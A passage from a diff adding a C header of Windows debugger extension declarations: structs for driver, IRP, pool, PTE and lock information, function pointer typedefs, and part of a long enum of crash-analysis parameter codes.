DeviceObject; + struct { + USHORT Length; + USHORT MaximumLength; + ULONG64 Buffer; + } DriverName; +} DEBUG_DRIVER_OBJECT_INFO, *PDEBUG_DRIVER_OBJECT_INFO; + +// GetDrvObjInfo +typedef HRESULT +(WINAPI *PGET_DRIVER_OBJECT_INFO)( + IN PDEBUG_CLIENT Client, + IN ULONG64 DriverObject, + OUT PDEBUG_DRIVER_OBJECT_INFO pDrvObjInfo); + +// +// dump.cpp +// +typedef struct _DEBUG_CPU_SPEED_INFO { + ULONG SizeOfStruct; // must be == sizeof(DEBUG_CPU_SPEED_INFO) + ULONG CurrentSpeed; + ULONG RatedSpeed; + WCHAR NameString[256]; +} DEBUG_CPU_SPEED_INFO, *PDEBUG_CPU_SPEED_INFO; + +typedef HRESULT +(WINAPI *PGET_CPU_PSPEED_INFO)( + IN PDEBUG_CLIENT Client, + OUT PDEBUG_CPU_SPEED_INFO pCpuSpeedInfo); + +typedef struct _DEBUG_CPU_MICROCODE_VERSION { + ULONG SizeOfStruct; // must be == sizeof(DEBUG_CPU_MICROCODE_VERSION) + LARGE_INTEGER CachedSignature; + LARGE_INTEGER InitialSignature; + ULONG ProcessorModel; + ULONG ProcessorFamily; + ULONG ProcessorStepping; // ProcessorRevision on IA64 + ULONG ProcessorArchRev; // IA64? +} DEBUG_CPU_MICROCODE_VERSION, *PDEBUG_CPU_MICROCODE_VERSION; + +typedef HRESULT +(WINAPI *PGET_CPU_MICROCODE_VERSION)( + IN PDEBUG_CLIENT Client, + OUT PDEBUG_CPU_MICROCODE_VERSION pCpuMicrocodeVersion); + +typedef struct _DEBUG_SMBIOS_INFO { + ULONG SizeOfStruct; + UCHAR SmbiosMajorVersion; + UCHAR SmbiosMinorVersion; + UCHAR DMIVersion; + ULONG TableSize; + UCHAR BiosMajorRelease; + UCHAR BiosMinorRelease; + UCHAR FirmwareMajorRelease; + UCHAR FirmwareMinorRelease; + CHAR BaseBoardManufacturer[64]; + CHAR BaseBoardProduct[64]; + CHAR BaseBoardVersion[64]; + CHAR BiosReleaseDate[64]; + CHAR BiosVendor[64]; + CHAR BiosVersion[64]; + CHAR SystemFamily[64]; + CHAR SystemManufacturer[64]; + CHAR SystemProductName[64]; + CHAR SystemSKU[64]; + CHAR SystemVersion[64]; +} DEBUG_SMBIOS_INFO, *PDEBUG_SMBIOS_INFO; + +// +// GetSmbiosInfo extension function from kdexts +// +typedef HRESULT +(WINAPI *PGET_SMBIOS_INFO)( + IN PDEBUG_CLIENT Client, + OUT PDEBUG_SMBIOS_INFO pSmbiosInfo + ); + +// +// irp.c +// +typedef struct _DEBUG_IRP_STACK_INFO { + UCHAR Major; + UCHAR Minor; + ULONG64 DeviceObject; + ULONG64 FileObject; + ULONG64 CompletionRoutine; + ULONG64 StackAddress; +} DEBUG_IRP_STACK_INFO, *PDEBUG_IRP_STACK_INFO; + +typedef struct _DEBUG_IRP_INFO { + ULONG SizeOfStruct; // Must be == sizeof(DEBUG_IRP_INFO) + ULONG64 IrpAddress; + ULONG IoStatus; + ULONG StackCount; + ULONG CurrentLocation; + ULONG64 MdlAddress; + ULONG64 Thread; + ULONG64 CancelRoutine; + DEBUG_IRP_STACK_INFO CurrentStack; + DEBUG_IRP_STACK_INFO Stack[10]; // Top 10 frames of irp stack +} DEBUG_IRP_INFO, *PDEBUG_IRP_INFO; + +// GetIrpInfo +typedef HRESULT +(WINAPI * PGET_IRP_INFO)( + IN PDEBUG_CLIENT Client, + IN ULONG64 Irp, + OUT PDEBUG_IRP_INFO IrpInfo + ); + +// +// pnpexts.cpp +// +typedef struct _DDEBUG_PNP_TRIAGE_INFO { + ULONG SizeOfStruct; // must be == sizeof(DEBUG_PNP_TRIAGE_INFO) + ULONG64 Lock_Address; + LONG Lock_ActiveCount; + ULONG Lock_ContentionCount; + ULONG Lock_NumberOfExclusiveWaiters; + ULONG Lock_NumberOfSharedWaiters; + USHORT Lock_Flag; + ULONG64 TriagedThread; + LONG ThreadCount; + ULONG64 TriagedThread_WaitTime; + //ULONG64 PpDeviceActionThread; + //ULONG64 PpDeviceEventThread; +} DEBUG_PNP_TRIAGE_INFO, *PDEBUG_PNP_TRIAGE_INFO; + +// +// pnpexts.cpp (GetPNPTriageInfo) +// +typedef HRESULT +(WINAPI *PGET_PNP_TRIAGE_INFO)( + IN PDEBUG_CLIENT Client, + OUT PDEBUG_PNP_TRIAGE_INFO pPNPTriageInfo); + + +// +// pool.c +// +typedef struct _DEBUG_POOL_DATA { + ULONG SizeofStruct; + ULONG64 PoolBlock; + ULONG64 Pool; + ULONG PreviousSize; + ULONG Size; + ULONG PoolTag; + ULONG64 ProcessBilled; + union { + struct { + ULONG Free:1; + ULONG LargePool:1; + ULONG SpecialPool:1; + ULONG Pageable:1; + ULONG Protected:1; + ULONG Allocated:1; + ULONG Reserved:26; + }; + ULONG AsUlong; + }; + ULONG64 Reserved2[4]; + CHAR PoolTagDescription[64]; +} DEBUG_POOL_DATA, *PDEBUG_POOL_DATA; + + +// GetPoolData +typedef HRESULT +(WINAPI *PGET_POOL_DATA)( + PDEBUG_CLIENT Client, + ULONG64 Pool, + PDEBUG_POOL_DATA PoolData + ); + +typedef enum _DEBUG_POOL_REGION { + DbgPoolRegionUnknown, + DbgPoolRegionSpecial, + DbgPoolRegionPaged, + DbgPoolRegionNonPaged, + DbgPoolRegionCode, + DbgPoolRegionNonPagedExpansion, + DbgPoolRegionSessionPaged, + DbgPoolRegionMax, +} DEBUG_POOL_REGION; + +// GetPoolRegion +typedef HRESULT +(WINAPI *PGET_POOL_REGION)( + PDEBUG_CLIENT Client, + ULONG64 Pool, + DEBUG_POOL_REGION *PoolRegion + ); + +// +// Proces.c: FindMatchingThread +// +typedef struct _KDEXT_THREAD_FIND_PARAMS { + ULONG SizeofStruct; + ULONG64 StackPointer; + ULONG Cid; + ULONG64 Thread; +} KDEXT_THREAD_FIND_PARAMS, *PKDEXT_THREAD_FIND_PARAMS; + +typedef HRESULT +(WINAPI *PFIND_MATCHING_THREAD)( + PDEBUG_CLIENT Client, + PKDEXT_THREAD_FIND_PARAMS ThreadInfo + ); + +// +// FindFileLockOwnerInfo +// +typedef struct _KDEXT_FILELOCK_OWNER { + ULONG Sizeofstruct; + ULONG64 FileObject; // IN File object whose owner is to be searched + ULONG64 OwnerThread; // OUT Thread owning file object + ULONG64 WaitIrp; // OUT Irp associated with file object in hte thread + ULONG64 DeviceObject; // OUT Device object on which IRP is blocked + CHAR BlockingDirver[32]; // OUT Driver for the device object +} KDEXT_FILELOCK_OWNER, *PKDEXT_FILELOCK_OWNER; + +typedef HRESULT +(WINAPI *PFIND_FILELOCK_OWNERINFO)( + PDEBUG_CLIENT Client, + PKDEXT_FILELOCK_OWNER pFileLockOwner + ); + +// +// locks +// +typedef struct _KDEXTS_LOCK_INFO { + ULONG SizeOfStruct; + ULONG64 Address; + ULONG64 OwningThread; + BOOL ExclusiveOwned; + ULONG NumOwners; + ULONG ContentionCount; + ULONG NumExclusiveWaiters; // threads waiting on exclusive access + ULONG NumSharedWaiters; // threads waiting on shared access + PULONG64 pOwnerThreads; // Array of thread addresses [NumOwners] owning lock + // Set by Lock enumerator, caller needs to preserve value before return + PULONG64 pWaiterThreads; // Array of thread addresses [NumExclusiveWaiters] + // Set by Lock enumerator, caller needs to preserve value before return +} KDEXTS_LOCK_INFO,*PKDEXTS_LOCK_INFO; + +typedef HRESULT +(WINAPI *KDEXTS_LOCK_CALLBACKROUTINE)(PKDEXTS_LOCK_INFO pLock, + PVOID Context); + +#define KDEXTS_LOCK_CALLBACKROUTINE_DEFINED 2 + + +// +// EnumerateSystemLocks +// Enumerates owned locks and calls CallbackRoutine on all owned/active locks. +// +typedef HRESULT +(WINAPI *PENUMERATE_SYSTEM_LOCKS)( + PDEBUG_CLIENT Client, + ULONG Flags, + KDEXTS_LOCK_CALLBACKROUTINE Callback, + PVOID Context + ); + +// +// pte information +// +typedef struct _KDEXTS_PTE_INFO { + ULONG SizeOfStruct; // Must be sizeof(_KDEXTS_PTE_INFO) + ULONG64 VirtualAddress; // Virtual address to lookup PTE + ULONG64 PpeAddress; + ULONG64 PdeAddress; + ULONG64 PteAddress; + ULONG64 Pfn; + ULONG64 Levels; + ULONG PteValid:1; + ULONG PteTransition:1; + ULONG Prototype:1; + ULONG Protection:1; + ULONG Reserved:28; + + // Pte Pfn info + ULONG ReadInProgress:1; + ULONG WriteInProgress:1; + ULONG Modified:1; +} KDEXTS_PTE_INFO, *PKDEXTS_PTE_INFO; + +// +// GetPteInfo +// +typedef HRESULT +(WINAPI *PKDEXTS_GET_PTE_INFO)( + __in PDEBUG_CLIENT Client, + __in ULONG64 Virtual, + __out PKDEXTS_PTE_INFO PteInfo + ); + +#endif // _KDEXTSFN_H + + +#ifndef _KEXTFN_H +#define _KEXTFN_H + +/* + * Extension functions defined in kext.dll + */ + +/***************************************************************************** + PoolTag definitions + *****************************************************************************/ + +typedef struct _DEBUG_POOLTAG_DESCRIPTION { + ULONG SizeOfStruct; // must be == sizeof(DEBUG_POOLTAG_DESCRIPTION) + ULONG PoolTag; + CHAR Description[MAX_PATH]; + CHAR Binary[32]; + CHAR Owner[32]; +} DEBUG_POOLTAG_DESCRIPTION, *PDEBUG_POOLTAG_DESCRIPTION; + +// GetPoolTagDescription +typedef HRESULT +(WINAPI *PGET_POOL_TAG_DESCRIPTION)( + ULONG PoolTag, + PDEBUG_POOLTAG_DESCRIPTION pDescription + ); + +#endif // _KEXTFN_H + +#ifndef _EXTAPIS_H +#define _EXTAPIS_H + +/* + * Extension functions defined in ext.dll + */ + +/***************************************************************************** + Failure analysis definitions + *****************************************************************************/ +#ifndef AUTOBUG_PROCESSING_SUPPORT +#define AUTOBUG_PROCESSING_SUPPORT +#endif + +typedef enum _DEBUG_FAILURE_TYPE { + DEBUG_FLR_UNKNOWN, + DEBUG_FLR_KERNEL, + DEBUG_FLR_USER_CRASH, + DEBUG_FLR_IE_CRASH, +} DEBUG_FAILURE_TYPE; + +/* + Each analysis entry can have associated data with it. The + analyzer knows how to handle each of these entries. + For example it could do a !driver on a DEBUG_FLR_DRIVER_OBJECT + or it could do a .cxr and k on a DEBUG_FLR_CONTEXT. +*/ +typedef enum _DEBUG_FLR_PARAM_TYPE { + DEBUG_FLR_INVALID = 0, + DEBUG_FLR_RESERVED, + DEBUG_FLR_DRIVER_OBJECT, + DEBUG_FLR_DEVICE_OBJECT, + DEBUG_FLR_INVALID_PFN, + DEBUG_FLR_WORKER_ROUTINE, + DEBUG_FLR_WORK_ITEM, + DEBUG_FLR_INVALID_DPC_FOUND, + DEBUG_FLR_PROCESS_OBJECT, + // Address for which an instruction could not be executed, + // such as invalid instructions or attempts to execute + // non-instruction memory. + DEBUG_FLR_FAILED_INSTRUCTION_ADDRESS, + DEBUG_FLR_LAST_CONTROL_TRANSFER, + DEBUG_FLR_ACPI_EXTENSION, + DEBUG_FLR_ACPI_RESCONFLICT, + DEBUG_FLR_ACPI_OBJECT, + DEBUG_FLR_READ_ADDRESS, + DEBUG_FLR_WRITE_ADDRESS, + DEBUG_FLR_CRITICAL_SECTION, + DEBUG_FLR_BAD_HANDLE, + DEBUG_FLR_INVALID_HEAP_ADDRESS, + DEBUG_FLR_CHKIMG_EXTENSION, + DEBUG_FLR_USBPORT_OCADATA, + DEBUG_FLR_WORK_QUEUE_ITEM, + DEBUG_FLR_ERESOURCE_ADDRESS, // ERESOURCE, use !locks to display this + DEBUG_FLR_PNP_TRIAGE_DATA, // DEBUG_PNP_TRIAGE_INFO struct + DEBUG_FLR_HANDLE_VALUE, + DEBUG_FLR_WHEA_ERROR_RECORD, // WHEA_ERROR_RECORD for bugcheck 0x124 + DEBUG_FLR_VERIFIER_FOUND_DEADLOCK, // Possible deadlock found, run !deadlock + + DEBUG_FLR_IRP_ADDRESS = 0x100, + DEBUG_FLR_IRP_MAJOR_FN, + DEBUG_FLR_IRP_MINOR_FN, + DEBUG_FLR_IRP_CANCEL_ROUTINE, + DEBUG_FLR_IOSB_ADDRESS, + DEBUG_FLR_INVALID_USEREVENT, + DEBUG_FLR_VIDEO_TDR_CONTEXT, + DEBUG_FLR_VERIFIER_DRIVER_ENTRY, + + // Previous mode 0 == KernelMode , 1 == UserMode + DEBUG_FLR_PREVIOUS_MODE, + + // Irql + DEBUG_FLR_CURRENT_IRQL = 0x200, + DEBUG_FLR_PREVIOUS_IRQL, + DEBUG_FLR_REQUESTED_IRQL, + + // Exceptions + DEBUG_FLR_ASSERT_DATA = 0x300, + DEBUG_FLR_ASSERT_FILE, + DEBUG_FLR_EXCEPTION_PARAMETER1, + DEBUG_FLR_EXCEPTION_PARAMETER2, + DEBUG_FLR_EXCEPTION_PARAMETER3, + DEBUG_FLR_EXCEPTION_PARAMETER4, + DEBUG_FLR_EXCEPTION_RECORD, + DEBUG_FLR_IO_ERROR_CODE, + DEBUG_FLR_EXCEPTION_STR, + DEBUG_FLR_EXCEPTION_DOESNOT_MATCH_CODE, // address causing read/write av was'nt referred in code + DEBUG_FLR_ASSERT_INSTRUCTION, + + // Pool + DEBUG_FLR_POOL_ADDRESS = 0x400, + DEBUG_FLR_SPECIAL_POOL_CORRUPTION_TYPE, + DEBUG_FLR_CORRUPTING_POOL_ADDRESS, + DEBUG_FLR_CORRUPTING_POOL_TAG, + DEBUG_FLR_FREED_POOL_TAG, + + + // Filesystem + DEBUG_FLR_FILE_ID = 0x500, + DEBUG_FLR_FILE_LINE, + + // bugcheck data + DEBUG_FLR_BUGCHECK_STR = 0x600, + DEBUG_FLR_BUGCHECK_SPECIFIER, + + // Managed code stuff + DEBUG_FLR_MANAGED_CODE = 0x700, + DEBUG_FLR_MANAGED_OBJECT, + DEBUG_FLR_MANAGED_EXCEPTION_OBJECT, + DEBUG_FLR_MANAGED_EXCEPTION_MESSAGE, + DEBUG_FLR_MANAGED_STACK_STRING, + DEBUG_FLR_MANAGED_BITNESS_MISMATCH, + DEBUG_FLR_MANAGED_OBJECT_NAME, + DEBUG_FLR_MANAGED_EXCEPTION_CONTEXT_MESSAGE, + + + // Constant values / exception code / bugcheck subtypes etc + DEBUG_FLR_DRIVER_VERIFIER_IO_VIOLATION_TYPE = 0x1000, + DEBUG_FLR_EXCEPTION_CODE, + DEBUG_FLR_EXCEPTION_CODE_STR, + DEBUG_FLR_IOCONTROL_CODE, + DEBUG_FLR_MM_INTERNAL_CODE, + DEBUG_FLR_DRVPOWERSTATE_SUBCODE, + DEBUG_FLR_STATUS_CODE, + DEBUG_FLR_SYMBOL_STACK_INDEX, + DEBUG_FLR_SYMBOL_ON_RAW_STACK, + DEBUG_FLR_SECURITY_COOKIES, + DEBUG_FLR_THREADPOOL_WAITER, + DEBUG_FLR_TARGET_MODE, // Value is DEBUG_FAILURE_TYPE + DEBUG_FLR_BUGCHECK_CODE, + DEBUG_FLR_BADPAGES_DETECTED, + DEBUG_FLR_DPC_TIMEOUT_TYPE, + DEBUG_FLR_DPC_RUNTIME, + DEBUG_FLR_DPC_TIMELIMIT, + + // Notification IDs, values under it doesn't have significance + DEBUG_FLR_CORRUPT_MODULE_LIST = 0x2000, + DEBUG_FLR_BAD_STACK, + DEBUG_FLR_ZEROED_STACK, + DEBUG_FLR_WRONG_SYMBOLS, + DEBUG_FLR_FOLLOWUP_DRIVER_ONLY, //bugcheckEA indicates a general driver failure + DEBUG_FLR_UNUSED001, //bucket include timestamp, so each drive is tracked + DEBUG_FLR_CPU_OVERCLOCKED, + DEBUG_FLR_POSSIBLE_INVALID_CONTROL_TRANSFER, + DEBUG_FLR_POISONED_TB, + DEBUG_FLR_UNKNOWN_MODULE, + DEBUG_FLR_ANALYZAABLE_POOL_CORRUPTION, + DEBUG_FLR_SINGLE_BIT_ERROR, + DEBUG_FLR_TWO_BIT_ERROR, + DEBUG_FLR_INVALID_KERNEL_CONTEXT, + DEBUG_FLR_DISK_HARDWARE_ERROR, + DEBUG_FLR_SHOW_ERRORLOG, + DEBUG_FLR_MANUAL_BREAKIN, + DEBUG_FLR_HANG, + DEBUG_FLR_BAD_MEMORY_REFERENCE, + DEBUG_FLR_BAD_OBJECT_REFERENCE, + DEBUG_FLR_APPKILL, + DEBUG_FLR_SINGLE_BIT_PFN_PAGE_ERROR, + DEBUG_FLR_HARDWARE_ERROR, + DEBUG_FLR_NO_IMAGE_IN_BUCKET, // do not add image name in bucket + DEBUG_FLR_NO_BUGCHECK_IN_BUCKET, // do not add bugcheck string in bucket + DEBUG_FLR_SKIP_STACK_ANALYSIS, // do not look at stack + DEBUG_FLR_INVALID_OPCODE, // Bad op code instruction + DEBUG_FLR_ADD_PROCESS_IN_BUCKET, + DEBUG_FLR_RAISED_IRQL_USER_FAULT, + DEBUG_FLR_USE_DEFAULT_CONTEXT, + DEBUG_FLR_BOOST_FOLLOWUP_TO_SPECIFIC, + DEBUG_FLR_SWITCH_PROCESS_CONTEXT, // Set process context when getting tread stack + DEBUG_FLR_VERIFIER_STOP, + DEBUG_FLR_USERBREAK_PEB_PAGEDOUT, + DEBUG_FLR_MOD_SPECIFIC_DATA_ONLY, + DEBUG_FLR_OVERLAPPED_MODULE, // Module with overlapping address space + DEBUG_FLR_CPU_MICROCODE_ZERO_INTEL, + DEBUG_FLR_INTEL_CPU_BIOS_UPGRADE_NEEDED, + DEBUG_FLR_OVERLAPPED_UNLOADED_MODULE, + DEBUG_FLR_INVALID_USER_CONTEXT, + DEBUG_FLR_MILCORE_BREAK, + DEBUG_FLR_NO_IMAGE_TIMESTAMP_IN_BUCKET, // do not add _DATE_#### to bucket (aplicable for + // buckets containing just the image name) + DEBUG_FLR_KERNEL_VERIFIER_ENABLED, // Set for kernel targets which have verifier enabled + DEBUG_FLR_SKIP_CORRUPT_MODULE_DETECTION, // do not look at module list for known corrupt modules + + // Known analyzed failure cause or problem that bucketing could be + // applied against. + DEBUG_FLR_POOL_CORRUPTOR = 0x3000, + DEBUG_FLR_MEMORY_CORRUPTOR, + DEBUG_FLR_UNALIGNED_STACK_POINTER, + DEBUG_FLR_OLD_OS_VERSION, + DEBUG_FLR_BUGCHECKING_DRIVER, + DEBUG_FLR_SOLUTION_ID, + DEBUG_FLR_DEFAULT_SOLUTION_ID, + DEBUG_FLR_SOLUTION_TYPE, + DEBUG_FLR_RECURRING_STACK, + DEBUG_FLR_FAULTING_INSTR_CODE, + DEBUG_FLR_SYSTEM_LOCALE, + DEBUG_FLR_CUSTOMER_CRASH_COUNT, + DEBUG_FLR_TRAP_FRAME_RECURSION, + DEBUG_FLR_STACK_OVERFLOW, + DEBUG_FLR_STACK_POINTER_ERROR, + DEBUG_FLR_STACK_POINTER_ONEBIT_ERROR, + DEBUG_FLR_STACK_POINTER_MISALIGNED, + DEBUG_FLR_INSTR_POINTER_MISALIGNED, + DEBUG_FLR_INSTR_POINTER_CLIFAULT, + DEBUG_FLR_REGISTRYTXT_STRESS_ID, + DEBUG_FLR_CORRUPT_SERVICE_TABLE, + DEBUG_FLR_LOP_STACKHASH, + DEBUG_FLR_GSFAILURE_FUNCTION, + DEBUG_FLR_GSFAILURE_MODULE_COOKIE, + DEBUG_FLR_GSFAILURE_FRAME_COOKIE, + DEBUG_FLR_GSFAILURE_CORRUPTED_COOKIE, + DEBUG_FLR_GSFAILURE_CORRUPTED_EBP, + DEBUG_FLR_GSFAILURE_OVERRUN_LOCAL, + DEBUG_FLR_GSFAILURE_OVERRUN_LOCAL_NAME, + DEBUG_FLR_GSFAILURE_CORRUPTED_EBPESP, + DEBUG_FLR_GSFAILURE_POSITIVELY_CORRUPTED_EBPESP, + DEBUG_FLR_GSFAILURE_MEMORY_READ_ERROR, + DEBUG_FLR_GSFAILURE_PROBABLY_NOT_USING_GS, + DEBUG_FLR_GSFAILURE_POSITIVE_BUFFER_OVERFLOW, + DEBUG_FLR_GSFAILURE_ANALYSIS_TEXT, + DEBUG_FLR_GSFAILURE_OFF_BY_ONE_OVERRUN, + DEBUG_FLR_GSFAILURE_RA_SMASHED, + DEBUG_FLR_OS_BUILD_NAME, + DEBUG_FLR_CPU_MICROCODE_VERSION, + DEBUG_FLR_INSTR_POINTER_ON_STACK, + DEBUG_FLR_INSTR_POINTER_ON_HEAP, + DEBUG_FLR_EVENT_CODE_DATA_MISMATCH, + DEBUG_FLR_PROCESSOR_INFO, // Data is DEBUG_ANALYSIS_PROCESSOR_INFO + DEBUG_FLR_INSTR_POINTER_IN_UNLOADED_MODULE, + DEBUG_FLR_MEMDIAG_LASTRUN_STATUS, + DEBUG_FLR_MEMDIAG_LASTRUN_TIME, + DEBUG_FLR_INSTR_POINTER_IN_FREE_BLOCK, + DEBUG_FLR_INSTR_POINTER_IN_RESERVED_BLOCK, + DEBUG_FLR_INSTR_POINTER_IN_VM_MAPPED_MODULE, + DEBUG_FLR_INSTR_POINTER_IN_MODULE_NOT_IN_LIST, + DEBUG_FLR_INSTR_POINTER_NOT_IN_STREAM, + DEBUG_FLR_MEMORY_CORRUPTION_SIGNATURE, // Memory corruption address, size and pattern (bit, byte, word, stride or large) + DEBUG_FLR_BUILDNAME_IN_BUCKET, + DEBUG_FLR_CANCELLATION_NOT_SUPPORTED, + DEBUG_FLR_DETOURED_IMAGE, // At least one of images on target is detoured + DEBUG_FLR_EXCEPTION_CONTEXT_RECURSION, + DEBUG_FLR_DISKIO_READ_FAILURE, + DEBUG_FLR_DISKIO_WRITE_FAILURE, + + // Internal data, retated to the OCA database + DEBUG_FLR_INTERNAL_RAID_BUG = 0x4000, + DEBUG_FLR_INTERNAL_BUCKET_URL, + DEBUG_FLR_INTERNAL_SOLUTION_TEXT, + DEBUG_FLR_INTERNAL_BUCKET_HITCOUNT, + DEBUG_FLR_INTERNAL_RAID_BUG_DATABASE_STRING, + DEBUG_FLR_INTERNAL_BUCKET_CONTINUABLE, + DEBUG_FLR_INTERNAL_BUCKET_STATUS_TEXT, + + // Data corelating a user target to watson DB + DEBUG_FLR_WATSON_MODULE = 0x4100, + DEBUG_FLR_WATSON_MODULE_VERSION, + DEBUG_FLR_WATSON_MODULE_OFFSET, + DEBUG_FLR_WATSON_PROCESS_VERSION, + DEBUG_FLR_WATSON_IBUCKET, + DEBUG_FLR_WATSON_MODULE_TIMESTAMP, + DEBUG_FLR_WATSON_PROCESS_TIMESTAMP, + DEBUG_FLR_WATSON_GENERIC_EVENT_NAME, + DEBUG_FLR_WATSON_STAGEONE_STR, + + // Data extracted from cabbed files with dump + DEBUG_FLR_SYSXML_LOCALEID = 0x4200, + DEBUG_FLR_SYSXML_CHECKSUM, + DEBUG_FLR_WQL_EVENT_COUNT, + DEBUG_FLR_WQL_EVENTLOG_INFO, + + // System information such as bios data, manufactures (from !sysinfo) + DEBUG_FLR_SYSINFO_SYSTEM_MANUFACTURER = 0x4300, + DEBUG_FLR_SYSINFO_SYSTEM_PRODUCT, + DEBUG_FLR_SYSINFO_BASEBOARD_MANUFACTURER, + DEBUG_FLR_SYSINFO_BIOS_VENDOR, + DEBUG_FLR_SYSINFO_BIOS_VERSION, + + // Strings. + DEBUG_FLR_BUCKET_ID = 0x10000, + DEBUG_FLR_IMAGE_NAME, + DEBUG_FLR_SYMBOL_NAME, + DEBUG_FLR_FOLLOWUP_NAME, + DEBUG_FLR_STACK_COMMAND, + DEBUG_FLR_STACK_TEXT, + DEBUG_FLR_MODULE_NAME, + DEBUG_FLR_FIXED_IN_OSVERSION, + DEBUG_FLR_DEFAULT_BUCKET_ID, + DEBUG_FLR_MODULE_BUCKET_ID, // Part of Bucket id specific to the culprit module + DEBUG_FLR_ADDITIONAL_DEBUGTEXT, + DEBUG_FLR_USER_NAME, + DEBUG_FLR_PROCESS_NAME, + DEBUG_FLR_MARKER_FILE, // Marker file name from sysdata.xml in cabs + DEBUG_FLR_INTERNAL_RESPONSE, // Response text for bucket + DEBUG_FLR_CONTEXT_RESTORE_COMMAND, // command to restore original context as before analysis + DEBUG_FLR_DRIVER_HARDWAREID, // hardware id of faulting driver from sysdata.xml + DEBUG_FLR_DRIVER_HARDWARE_VENDOR_ID, + DEBUG_FLR_DRIVER_HARDWARE_DEVICE_ID, + DEBUG_FLR_DRIVER_HARDWARE_SUBSYS_ID, + DEBUG_FLR_MARKER_MODULE_FILE, // Secondary marker file name from the module list + DEBUG_FLR_BUGCHECKING_DRIVER_IDTAG, // Tag set during processing to identify bugchecking driver frm triage.ini + DEBUG_FLR_MARKER_BUCKET, // bucket id derived from machine marker + DEBUG_FLR_FAILURE_BUCKET_ID, + DEBUG_FLR_DRIVER_XML_DESCRIPTION, + DEBUG_FLR_DRIVER_XML_PRODUCTNAME, + DEBUG_FLR_DRIVER_XML_MANUFACTURER, + DEBUG_FLR_DRIVER_XML_VERSION, + DEBUG_FLR_BUILD_VERSION_STRING, + DEBUG_FLR_ORIGINAL_CAB_NAME, + DEBUG_FLR_FAULTING_SOURCE_CODE, + DEBUG_FLR_FAULTING_SERVICE_NAME, + DEBUG_FLR_FILE_IN_CAB, // name of file (other than dump itself) found in cab + DEBUG_FLR_UNRESPONSIVE_UI_SYMBOL_NAME, + DEBUG_FLR_UNRESPONSIVE_UI_FOLLOWUP_NAME, + DEBUG_FLR_UNRESPONSIVE_UI_STACK, + DEBUG_FLR_PROCESS_PRODUCTNAME, // Product name string from process image version info + DEBUG_FLR_MODULE_PRODUCTNAME, // Product name string from module image version info + DEBUG_FLR_COLLECT_DATA_FOR_BUCKET, // DataWanted sproc params + DEBUG_FLR_COMPUTER_NAME, + DEBUG_FLR_IMAGE_CLASS, + DEBUG_FLR_SYMBOL_ROUTINE_NAME, + DEBUG_FLR_HARDWARE_BUCKET_TAG, + DEBUG_FLR_KERNEL_LOG_PROCESS_NAME, + DEBUG_FLR_KERNEL_LOG_STATUS, + DEBUG_FLR_REGISTRYTXT_SOURCE, + + + // User-mode specific stuff + DEBUG_FLR_USERMODE_DATA = 0x100000, + DEBUG_FLR_THREAD_ATTRIBUTES, // Thread attributes + DEBUG_FLR_PROBLEM_CLASSES, + DEBUG_FLR_PRIMARY_PROBLEM_CLASS, + DEBUG_FLR_PRIMARY_PROBLEM_CLASS_DATA, + DEBUG_FLR_UNRESPONSIVE_UI_PROBLEM_CLASS, + DEBUG_FLR_UNRESPONSIVE_UI_PROBLEM_CLASS_DATA, + DEBUG_FLR_DERIVED_WAIT_CHAIN, + DEBUG_FLR_HANG_DATA_NEEDED, + DEBUG_FLR_PROBLEM_CODE_PATH_HASH, + DEBUG_FLR_SUSPECT_CODE_PATH_HASH, + DEBUG_FLR_LOADERLOCK_IN_WAIT_CHAIN, + DEBUG_FLR_XPROC_HANG, + DEBUG_FLR_DEADLOCK_INPROC, + DEBUG_FLR_DEADLOCK_XPROC, + DEBUG_FLR_WCT_XML_AVAILABLE, + DEBUG_FLR_XPROC_DUMP_AVAILABLE, + DEBUG_FLR_DESKTOP_HEAP_MISSING, + DEBUG_FLR_HANG_REPORT_THREAD_IS_IDLE, + DEBUG_FLR_FAULT_THREAD_SHA1_HASH_MF, + DEBUG_FLR_FAULT_THREAD_SHA1_HASH_MFO, + DEBUG_FLR_WAIT_CHAIN_COMMAND, + DEBUG_FLR_NTGLOBALFLAG, + DEBUG_FLR_APPVERIFERFLAGS, + DEBUG_FLR_MODLIST_SHA1_HASH, + DEBUG_FLR_DUMP_TYPE, + DEBUG_FLR_XCS_PATH, + DEBUG_FLR_LOADERLOCK_OWNER_API, + DEBUG_FLR_LOADERLOCK_BLOCKED_API, + DEBUG_FLR_MODLIST_TSCHKSUM_SHA1_HASH, // hash of module list (with checksum, timestamp & size) + DEBUG_FLR_MODLIST_UNLOADED_SHA1_HASH, // hash of unloaded module list + DEBUG_FLR_MACHINE_INFO_SHA1_HASH, // hash of unloaded module list + DEBUG_FLR_URLS_DISCOVERED, + DEBUG_FLR_URLS, + DEBUG_FLR_URL_ENTRY, + DEBUG_FLR_WATSON_IBUCKET_S1_RESP, + DEBUG_FLR_WATSON_IBUCKETTABLE_S1_RESP, + DEBUG_FLR_SEARCH_HANG, + DEBUG_FLR_WER_DATA_COLLECTION_INFO, + + // Analysis structured data + DEBUG_FLR_STACK = 0x200000, + DEBUG_FLR_FOLLOWUP_CONTEXT, + DEBUG_FLR_XML_MODULE_LIST, + DEBUG_FLR_STACK_FRAME, + DEBUG_FLR_STACK_FRAME_NUMBER, + DEBUG_FLR_STACK_FRAME_INSTRUCTION, + DEBUG_FLR_STACK_FRAME_SYMBOL, + DEBUG_FLR_STACK_FRAME_SYMBOL_OFFSET, + DEBUG_FLR_STACK_FRAME_MODULE, + DEBUG_FLR_STACK_FRAME_IMAGE, + DEBUG_FLR_STACK_FRAME_FUNCTION, + DEBUG_FLR_STACK_FRAME_FLAGS, + DEBUG_FLR_CONTEXT_COMMAND, + DEBUG_FLR_CONTEXT_FLAGS, + DEBUG_FLR_CONTEXT_ORDER, + DEBUG_FLR_CONTEXT_SYSTEM, + DEBUG_FLR_CONTEXT_ID, + DEBUG_FLR_XML_MODULE_INFO, + DEBUG_FLR_XML_MODULE_INFO_INDEX, + DEBUG_FLR_XML_MODULE_INFO_NAME, + DEBUG_FLR_XML_MODULE_INFO_IMAGE_NAME, + DEBUG_FLR_XML_MODULE_INFO_IMAGE_PATH, + DEBUG_FLR_XML_MODULE_INFO_CHECKSUM, + DEBUG_FLR_XML_MODULE_INFO_TIMESTAMP, + DEBUG_FLR_XML_MODULE_INFO_UNLOADED, + DEBUG_FLR_XML_MODULE_INFO_ON_STACK, + DEBUG_FLR_XML_MODULE_INFO_FIXED_FILE_VER, + DEBUG_FLR_XML_MODULE_INFO_FIXED_PROD_VER, + DEBUG_FLR_XML_MODULE_INFO_STRING_FILE_VER, + DEBUG_FLR_XML_MODULE_INFO_STRING_PROD_VER, + 